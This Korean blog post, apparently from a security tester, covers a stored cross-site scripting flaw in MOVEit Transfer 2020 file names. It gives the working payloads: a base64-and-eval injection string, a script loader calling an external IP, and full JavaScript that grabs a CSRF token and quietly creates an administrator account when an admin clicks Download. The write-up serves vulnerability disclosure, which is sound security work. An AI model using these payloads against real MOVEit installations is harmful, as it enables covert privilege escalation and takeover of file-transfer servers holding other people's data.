
MOVEit Transfer 2020 웹 애플리케이션 저장형 크로스 사이트 스크립팅 (XSS)
최근 웹 애플리케이션 테스트 수행 중 평가 범위에 포함된 애플리케이션 중 하나는 MOVEit Transfer 2020 웹 애플리케이션이었습니다. 평가를 수행하는 동안 저장형 교차 사이트 스크립팅(Stored Cross-Site Scripting, XSS) 취약점이 확인되었습니다. 이 블로그 게시물은 해당 취약점의 발견 및 익스플로잇 과정을 통해 웹 애플리케이션에 대한 관리자 접근 권한을 획득하는 방법을 다룹니다.
애플리케이션 전체에서 발견된 여러 입력 필드에 대한 입력 유효성 검사를 테스트하던 중, 특정 페이로드가 제공될 때 예상치 못한 출력을 제공하는 입력 필드가 하나 있었습니다. 이 입력 필드는 업로드되는 파일 이름이었습니다. 특정 파일명으로 파일을 업로드한 후 파일을 다운로드하려고 할 때 다운로드 버튼이 아무 동작도 하지 않는 것이 확인되었습니다. 이 동작을 조사한 결과, 아래 이미지에서 볼 수 있듯이 다운로드 버튼을 클릭할 때 JavaScript 오류가 트리거되고 있었습니다.

이 오류가 확인된 후 다운로드 버튼 뒤의 HTML 코드를 분석했습니다. 초기 분석 결과, 파일 이름이 적절히 정화(sanitization)되지 않은 채 버튼의 onclick JavaScript 함수에 포함되어 있음이 밝혀졌습니다. 아래 이미지를 참조하세요.

이 관찰을 통해 사용자가 Download 버튼을 클릭하면 실행될 JavaScript 코드를 주입할 수 있음이 분명해졌습니다. 첫 번째 단계는 alert 함수를 통해 JavaScript 팝업을 트리거하는 개념 증명(Proof of Concept) 코드를 만드는 것이었습니다. 코드의 특성과 파일 이름이 주입되는 위치를 고려하여 다음과 같은 페이로드가 제작되었습니다. 이 페이로드는 호출되는 함수를 종료하고 새로운 함수 alert()를 추가한 후, 코드를 완성하기 위해 더미 함수를 덧붙입니다.
test", 382,"1234");alert("XSS");a("test
이 페이로드를 가지고 테스트해볼 수 있습니다. 파일을 업로드한 후 burp 프록시를 사용하여 서버로 전송되는 업로드 요청을 가로채서 파일 이름을 변경한 후 요청을 서버로 전달합니다.


파일이 업로드되면 파일 이름을 클릭하여 파일을 연 다음 Download 버튼을 클릭할 수 있습니다. 여기서 XSS가 트리거되고 JavaScript alert 팝업이 표시되는 것을 볼 수 있습니다.

멋지네요! 이제 임의의 JavaScript 코드를 실행할 수 있습니다. 무엇을 더 할 수 있을까요? 이것으로 더 많은 것을 얻을 수 있을까요?
애플리케이션과 그 기능을 살펴본 후, 잠재적인 공격 벡터는 낮은 수준의 사용자가 권한을 상승시켜 웹 애플리케이션에 대한 관리자 접근 권한을 얻으려는 것일 수 있습니다.
첫 번째 단계는 XMLHttpRequest를 사용하여 Javascript를 통해 HTTP 요청을 수행할 수 있는지 확인하는 것이었습니다. 파일 및 폴더 이름에 대한 설정을 검토하는 동안 MOVEit은 파일이나 폴더 이름에 / 또는 \를 허용하지 않는다는 것이 확인되었습니다. 따라서 이는 HTTP 요청 수행을 잠재적으로 방해할 수 있습니다. 또 다른 제한 사항은 파일 이름이 255자로 제한된다는 점이었습니다.
이 분석을 바탕으로 우회해야 할 몇 가지 제한 사항이 있습니다. 첫 번째는 / 및 \ 문자 제한을 우회하고 원격 서버에 호스팅된 Javascript 파일을 포함할 방법을 찾는 것이었습니다. 이 제한을 우회하기 위해 실행하려는 Javascript 코드를 base64 형식으로 인코딩한 다음 메모리에서 디코딩하고 eval 함수를 통해 실행할 수 있습니다. 다음 코드 스니펫이 정확히 그 작업을 수행합니다.
t",1","1");var e="BASE64 CODE";var d=atob(e);eval(d);a("t","t
이 코드를 사용하여 첫 번째 시도는 파일 소스를 외부 호스팅 파일로 설정한 <script> 태그를 주입하는 것이었습니다. 아래 코드 스니펫을 base64로 인코딩한 후 위 스니펫에 복사했습니다.
var s=document.createElement("script");s.onload=function(){r();};s.src="http://XXX.XXX.XXX.XXX/t";document.head.appendChild(s);
이를 시도할 때 또 다른 문제인 CSP가 나타났습니다. 웹 애플리케이션은 외부 javascript 파일 로드를 방지하는 CSP를 사용하고 있었습니다.


따라서 외부 파일을 로드할 수 없고 255자를 초과하는 JS 코드를 포함할 수 없습니다. 이제 무엇을 할 수 있을까요? MOVEit의 기능을 악용하여 악성 Javascript 파일을 호스팅하는 데 사용할 수 있습니다.
먼저 시스템에 새 사용자를 추가하는 페이지에 GET 요청을 보내고 여기서 CSRF 토큰을 추출하는 Javascript 코드를 만들어야 합니다. 그런 다음 스크립트는 요청에서 추출한 CSRF 토큰을 포함하여 새 관리자 사용자를 생성하기 위해 POST 요청을 수행해야 합니다. 다음은 이 작업을 수행하는 코드 스니펫입니다.
//Exploit Title: MOVEit Transfer 2020 - Stored Cross-Site Scripting (XSS)
//Exploit Author: Mark Galea ([email protected])
//Date: 05-08-2020
function r(){
alert(1);
var uri = "human.aspx?arg12=useradd";
xhr = new XMLHttpRequest();
xhr.open("GET", uri, false);
xhr.send(null)
if (xhr.status === 200)
{
responseBody = read_body(xhr);
firstSubStr = responseBody.substring(responseBody.indexOf("csrftoken")+18);
csrfToken = firstSubStr.substring(0, firstSubStr.indexOf('"'));
if (csrfToken){
var adduserUri = "/human.aspx";
var body="csrftoken=" + csrfToken + "&transaction=useradd&arg02=0&arg12=useradd&arg01=sectest3&arg03=sectest3&arg04=test1%40secforce.com&arg11=0&arg05=30&Opt03=en&Opt02=20&opt05=1xFEHd%5DFhhVKJm&opt04=1&Arg08=%5B9%255Sj%29%2B4%2ChAUAY3&Arg09=%5B9%255Sj%29%2B4%2ChAUAY3&opt07=%2FHome%2F%5BUSERNAME%5D&Arg10=";
xhr2 = new XMLHttpRequest();
xhr2.open("POST", adduserUri, false);
xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr2.send(body);
}
}
}
function read_body(xhr) {
var data;
if (!xhr.responseType || xhr.responseType === "text") {
data = xhr.responseText;
} else if (xhr.responseType === "document") {
data = xhr.responseXML;
} else if (xhr.responseType === "json") {
data = xhr.responseJSON;
} else {
data = xhr.response;
}
return data;
}
위의 Javascript 코드를 파일에 저장한 다음 MOVEit에 업로드해야 합니다. 파일이 업로드된 후 파일 세부 정보를 열고 burp 프록시로 웹 요청을 가로채면서 다운로드 버튼을 클릭합니다. burp 프록시 로그에 파일의 직접 다운로드 링크 항목이 있어야 합니다. 이 URL은 다음과 유사해야 합니다.
https://<MOVEIT_URL>/download?arg01=file693187292&arg02=693313636
직접 다운로드 링크를 확보했으므로 이제 이를 페이로드에 포함하도록 설정할 수 있습니다. 아래 코드는 스크립트 태그를 생성하고 소스 URL을 직접 다운로드 링크로 설정한 다음 마지막으로 페이지 head 태그에 스크립트 태그를 삽입하고 onload에서 r() 함수를 실행합니다.
var s=document.createElement("script");s.onload=function(){r();};s.src="/download?arg01=file693187292&arg02=693313636";document.head.appendChild(s);
다음 단계는 위의 코드 스니펫을 base64로 인코딩하는 것입니다.
dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==
다음 단계는 이 최종 XSS 페이로드를 주입하는 것입니다. 이를 위해 burp 프록시로 요청을 가로채면서 파일을 업로드하고 업로드된 파일 이름을 아래의 XSS 페이로드로 수정합니다.
t",1","1");var e="dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==";var d=atob(e);eval(d);a("t","t
파일이 업로드되면 업로드된 파일을 클릭하여 세부 정보를 열고 Download 버튼을 클릭하여 XSS 및 관리자 사용자 생성을 트리거합니다. 낮은 수준의 사용자가 이 설정을 만들 수 있으며, 업로드된 파일이 관리자 사용자에 의해 다운로드되면 낮은 수준의 사용자는 관리자가 모르게 관리자 계정을 생성하도록 할 수 있습니다.
타임라인